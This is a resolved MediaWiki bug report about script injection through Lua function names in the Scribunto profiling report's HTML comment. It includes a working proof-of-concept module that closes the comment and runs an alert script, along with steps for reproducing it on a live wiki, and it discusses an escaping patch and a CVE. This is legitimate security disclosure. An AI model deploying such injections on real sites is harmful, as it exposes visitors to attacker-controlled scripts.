Page MenuHomePhabricator

Script injection in Scribunto profiling report
Closed, ResolvedPublic

Description

If over one second of CPU time is used in Lua, the Lua functions using the most CPU time will be reported in the "NewPP limit report" HTML comment. And Lua functions can be named pretty much anything. Which means that {{#invoke:Evil|hello}} with the following as Module:Evil will be bad:

local p = {}

function p.hello()

p['--><script>alert("uh oh")</script>']()
for i = 0, 1e8 do end

end

p['--><script>alert("uh oh")</script>'] = function ()

for i = 0, 1e9 do end

end

return p

(adjust the 1e8 and 1e9 to suit the speed of whatever wiki you're testing it on). You can test this live, right now, by going to https://en.wikipedia.org/w/index.php?title=Module:Bananas&action=edit, pasting the above in, and entering "Template:Lua hello world" in the TemplateSandbox field.

It should be simple enough to fix; probably the best thing would be to escape $limitReport at includes/parser/Parser.php line 504. The question is what exactly needs to be escaped to make the "NewPP limit report" comment safe, and hopefully still leave it readable? Would something as simple as

str_replace( "--", "‐‐", $engine->getLimitReport() )

(that's U+2010) work?


Version: unspecified
Severity: critical

Details

Reference
bz46084

Event Timeline

bzimport raised the priority of this task from to Needs Triage.Nov 22 2014, 1:14 AM
bzimport set Reference to bz46084.
bzimport added a subscriber: Unknown Object (MLST).

I should proofread better. That last bit should be

str_replace( "--", "‐‐", $limitReport )

Created attachment 11927
Patch per discussion with csteipp on IRC

Attached:

Related URL: https://gerrit.wikimedia.org/r/59197 (Gerrit Change Id97b6668da6df3e5e4c0acefffa00c82cac3c44a)

Related URL: https://gerrit.wikimedia.org/r/59339 (Gerrit Change Id97b6668da6df3e5e4c0acefffa00c82cac3c44a)

Related URL: https://gerrit.wikimedia.org/r/59345 (Gerrit Change Id97b6668da6df3e5e4c0acefffa00c82cac3c44a)

Related URL: https://gerrit.wikimedia.org/r/59355 (Gerrit Change Id97b6668da6df3e5e4c0acefffa00c82cac3c44a)

Related URL: https://gerrit.wikimedia.org/r/59375 (Gerrit Change Id97b6668da6df3e5e4c0acefffa00c82cac3c44a)

Injection into debug HTML comments like this is a fairly old trick. :-/ I really wish we would just remove this HTML comment from the output instead of further hacking up the parser in order to sanitize it.

Redhat assigned CVE-2013-1951 for this issue (sorry for the late update)